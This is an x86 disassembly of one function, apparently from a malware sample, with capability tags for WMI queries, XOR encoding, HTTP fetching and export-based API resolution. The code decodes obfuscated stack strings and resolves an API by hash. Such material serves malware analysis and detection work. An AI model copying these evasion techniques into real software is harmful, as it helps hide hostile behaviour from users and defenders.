Function at 0x4326b0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa0
mov edi, dword [ebp + 8]
mov eax, dword [0x448398]
mov dword [esp + 4], 0x69df6b8f
mov dword [esp + 8], 0x6dfb6ff7
mov dword [esp + 0xc], 0x51f953f8
mov dword [esp + 0x10], 0x559257c3
mov dword [esp + 0x14], 0x59f55bc2
mov dword [esp + 0x18], 0x5df55fc2
mov dword [esp + 0x1c], 0x414243b7
mov byte [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
and edx, 0x17
mov esi, ecx
and esi, 8
xor esi, 0x69
sub edx, esi
xor dl, byte [esp + ecx + 4]
add dl, 0xd
mov byte [esp + ecx + 4], dl
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
cmp ecx, 0x1d
jb 0x432710
lea ecx, [esp + 0x60]
lea ebx, [esp + 0x8c]
lea esi, [esp + 4]
push ecx
push 8
push ebx
push 0xd
push esi
push 0
call eax
test eax, eax
jns 0x432763
mov dword [esp + 0x8c], 0x3a0043
mov dword [esp + 0x90], 0x5c
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push 0x43e670
push 1
push 0
push 0x43e680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x432cd3
mov dword [esp + 4], 0x33853182
mov dword [esp + 8], 0x2f822d9b
mov dword [esp + 0xc], 0x2be9298c
mov dword [esp + 0x10], 0x2793259d
mov dword [esp + 0x14], 0x23f0218e
mov word [esp + 0x18], 0x1d1c
mov dword [esp + 0x1a], 0
mov word [esp + 0x1e], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x4c
xor cl, byte [esp + eax + 4]
add cl, 0x84
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x1c
jne 0x432800
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x90], ebx
push ebx
push eax
call dword [ecx + 0xc]
test eax, eax
lea ebx, [esp + 0x8c]
js 0x432cbf
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x432cb5
mov dword [esp + 4], 0x21d527cd
mov dword [esp + 8], 0xdd2223d4
mov dword [esp + 0xc], 0
mov eax, 0xc1407479
nop
nop
movzx ecx, byte [esp + eax + 0x3ebf8b8b]
not ecx
mov edx, eax
or edx, ecx
lea esi, [edx + edx]
not esi
add esi, edx
and ecx, eax
or ecx, esi
mov edx, 1
sub edx, ecx
not edx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0xa2
mov byte [esp + eax + 0x3ebf8b8b], cl
inc eax
cmp eax, 0xc1407485
jne 0x432890
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov dword [esp + 4], 0x89518b21
mov dword [esp + 8], 0x855d875c
mov dword [esp + 0xc], 0x812e8359
mov dword [esp + 0x10], 0x9d689f60
mov dword [esp + 0x14], 0x99409b7c
mov dword [esp + 0x18], 0x95479736
mov dword [esp + 0x1c], 0x91729347
mov dword [esp + 0x20], 0x6dd96f39
mov dword [esp + 0x24], 0x69a76bde
mov dword [esp + 0x28], 0x65c767a6
mov dword [esp + 0x2c], 0x61b563ba
mov dword [esp + 0x30], 0x7dd37fb1
mov dword [esp + 0x34], 0x7b7c
mov byte [esp + 0x38], 0
mov eax, 0xe3
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0xdf]
lea ecx, [eax - 0x3173400]
mov esi, eax
and esi, edx
or ecx, edx
xor ecx, esi
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
add cl, 0x90
mov byte [esp + eax - 0xdf], cl
inc eax
cmp eax, 0x118
jne 0x432950
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x5c]
push edx
push 0
push 0x30
mov dword [esp + 0x7c], eax
push eax
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x432c9b
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
lea edx, [esp + 0x54]
lea esi, [esp + 0x58]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x432c91
cmp eax, 1
je 0x432c91
cmp dword [esp + 0x54], 0
je 0x432c91
mov dword [esp + 0x50], ebx
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x58]
mov dword [esp + 4], 0x71a90fb9
mov dword [esp + 8], 0x75d973e2
mov dword [esp + 0xc], 0x79da77d7
mov dword [esp + 0x10], 0x7ded7b36
mov dword [esp + 0x14], 0x61dc7fd3
mov dword [esp + 0x18], 0x65f063c7
mov word [esp + 0x1c], 0x6764
mov dword [esp + 0x1e], 0
mov word [esp + 0x22], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
movzx ebx, byte [esp + ecx - 0xb9]
lea esi, [ebx + ebx]
not esi
add esi, ebx
and esi, ecx
and ebx, edx
or ebx, esi
add bl, 0x4f
mov byte [esp + ecx - 0xb9], bl
inc ecx
dec edx
cmp ecx, 0xdd
jne 0x432a50
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x80]
push esi
push 0
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
mov ebx, dword [esp + 0x50]
js 0x432c80
cmp word [esp + 0x78], 8
jne 0x432c80
mov esi, dword [esp + 0x80]
movzx ecx, word [esi]
test cx, cx
je 0x432af3
lea eax, [esi + 2]
xor edx, edx
jmp 0x432acc
inc edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x432af5
cmp cx, 0x7f
jbe 0x432ac0
mov ebx, edx
movzx edx, cx
cmp edx, 0x7ff
ja 0x432ae6
mov edx, ebx
add edx, 2
jmp 0x432ac1
cmp cx, 0xffff
mov edx, ebx
je 0x432ac1
add edx, 3
jmp 0x432ac1
xor edx, edx
lea eax, [edx + 1]
push eax
mov ebx, edx
call fcn.00408160
add esp, 4
mov edx, eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x4c], ebx
test ebx, ebx
je 0x432c2e
movzx eax, word [esi]
mov edx, dword [esp + 0x3c]
test ax, ax
je 0x432c2e
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x3c]
nop
nop
nop
movzx ebx, ax
mov dword [esp + 0x40], esi
add esi, 2
cmp bx, 0x7f
ja 0x432b50
lea eax, [edx + 1]
mov byte [edx], bl
jmp 0x432be0
cmp ebx, 0x7ff
ja 0x432b74
cmp ecx, 2
jb 0x432b74
mov eax, ebx
shr eax, 6
add al, 0xc0
mov byte [edx], al
and bl, 0x3f
or bl, 0x80
lea eax, [edx + 2]
mov byte [edx + 1], bl
jmp 0x432be0
mov eax, ebx
and eax, 0xfc00
cmp eax, 0xd800
jne 0x432bf8
cmp ecx, 4
jb 0x432bf8
mov eax, dword [esp + 0x40]
movzx esi, word [eax + 2]
add eax, 4
mov dword [esp + 0x40], eax
shl ebx, 0xa
lea eax, [ebx + esi]
add eax, 0xfca02400
mov ebx, eax
shr ebx, 0x12
add bl, 0xf0
mov byte [edx], bl
mov ebx, eax
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edx + 2], al
mov ebx, 0xff
sub ebx, esi
or ebx, 0x3f
add ebx, esi
add bl, 0x81
lea eax, [edx + 4]
mov byte [edx + 3], bl
mov esi, dword [esp + 0x40]
nop
nop
nop
nop
add ecx, edx
sub ecx, eax
mov edx, eax
movzx eax, word [esi]
test ax, ax
je 0x432c2e
test ecx, ecx
jne 0x432b30
jmp 0x432c2e
movzx eax, ax
cmp eax, 0xdc00
je 0x432be6
cmp ecx, 3
jb 0x432c2a
mov eax, ebx
shr eax, 0xc
or al, 0xe0
mov byte [edx], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [edx + 1], al
and bl, 0x3f
or bl, 0x80
lea eax, [edx + 3]
mov byte [edx + 2], bl
jmp 0x432be0
mov eax, edx
jmp 0x432be0
mov byte [edx], 0
mov eax, 3
mov ecx, dword [esp + 0x4c]
sub eax, ecx
cmp eax, 0xfffffffd
jae 0x432c46
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
lea esi, [esp + 0x78]
jb 0x432c59
mov eax, 3
lea eax, [eax*4 + 4]
push eax
mov ebx, dword [esp + 0x40]
push ebx
lea eax, [esp + 0x68]
push eax
call fcn.00408190
add esp, 0xc
push ebx
call fcn.00408170
add esp, 4
mov ebx, dword [esp + 0x50]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x58]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
call esi
push dword [esp + 0x70]
call esi
lea esi, [esp + 4]
lea ebx, [esp + 0x8c]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x74]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 4], 0
push 0x72a7c387
push dword [0x448390]
call fcn.0043aff0
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
test eax, eax
je 0x432db3
mov eax, dword [esp + 4]
mov dword [esp + 0x60], eax
xor esi, esi
jmp 0x432d2d
add edi, 8
inc esi
cmp esi, 4
je 0x432db3
mov eax, 0
test esi, esi
je 0x432d4d
cmp dword [esp + esi*4 + 0x60], 0
mov eax, esi
jne 0x432d4d
mov ecx, esi
not ecx
and ecx, 1
mov eax, esi
and eax, 2
sub eax, ecx
mov eax, dword [esp + eax*4 + 0x60]
mov ecx, eax
and ecx, 0xffe5a7ba
mov edx, eax
and edx, 0x1a5845
or eax, 0x1a5845
imul eax, edx
xor edx, 0x1a5845
imul edx, ecx
add eax, edx
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x60], eax
mov ebx, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.00418f70
add esp, 0x10
cmp byte [eax + ebx + 9], 0
lea ebx, [ebx + 1]
jne 0x432d90
test ebx, ebx
je 0x432d20
add eax, ebx
neg ebx
push ebx
push 0x30
push eax
call fcn.00408250
add esp, 0xc
jmp 0x432d20
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret